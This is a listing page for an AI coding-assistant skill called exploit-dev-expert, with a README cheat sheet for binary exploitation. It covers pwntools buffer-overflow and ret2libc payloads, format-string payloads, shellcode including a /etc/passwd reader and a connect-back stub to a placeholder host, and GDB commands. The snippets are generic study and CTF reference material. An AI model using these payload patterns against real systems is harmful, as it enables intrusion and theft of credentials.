About exploit-dev-expert
A security skill covering exploit-development topics such as binary exploitation, shellcode, pwntools, and GDB. The provided material consists of technical examples and command references.
Key features
- 01Demonstrate buffer overflow techniques
- 02Show format-string payload patterns
- 03Create shellcode with pwntools
- 04Reference pwntools setup and connections
- 05List GDB inspection commands
Use cases
- 01Study buffer overflow offset discovery
- 02Construct format-string read or write payloads
- 03Practice shellcode generation and binary debugging
Install
Copy the command and run it in a terminal.
$
npx skills add https:/ / github.com/ duck4nh/ antigravity-kit --skill exploit-dev-expertAfter installing, type/exploit-dev-expertin Claude Code to confirm it loaded.
Details
From the project READMEExploit Development Expert
Binary Exploitation Basics
Buffer Overflow
from pwn import *
# Find offset
cyclic(200) # Generate pattern
cyclic_find(0x61616166) # Find offset
# Basic exploit
offset = 64
ret_addr = p64(0x401234)
payload = b'A' * offset + ret_addr
# With NX bypass (ret2libc)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
Format String
# Read from stack
payload = b'%x.' * 20
payload = b'%7$s' # Read specific position
# Write to address
payload = fmtstr_payload(offset, {target_addr: value})
Shellcode
# Using pwntools
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
# Common shellcodes
shellcraft.sh() # /bin/sh
shellcraft.cat('/etc/passwd')
shellcraft.connect('IP', PORT)
Pwntools Essentials
from pwn import *
# Setup
context.binary = ELF('./vuln')
context.log_level = 'debug'
# Connection
p = process('./vuln') # Local
p = remote('ip', port) # Remote
p = gdb.debug('./vuln') # With GDB
# I/O
p.sendline(payload)
p.recvuntil(b'>')
data = p.recv(100)
# Interactive
p.interactive()
GDB Commands
gdb ./binary
> checksec # Security features
> info functions # List functions
> disas main # Disassemble
> b *0x401234 # Breakpoint
> r < payload.txt # Run with input
> x/20wx $rsp # Examine stack
Comments
Markdown supported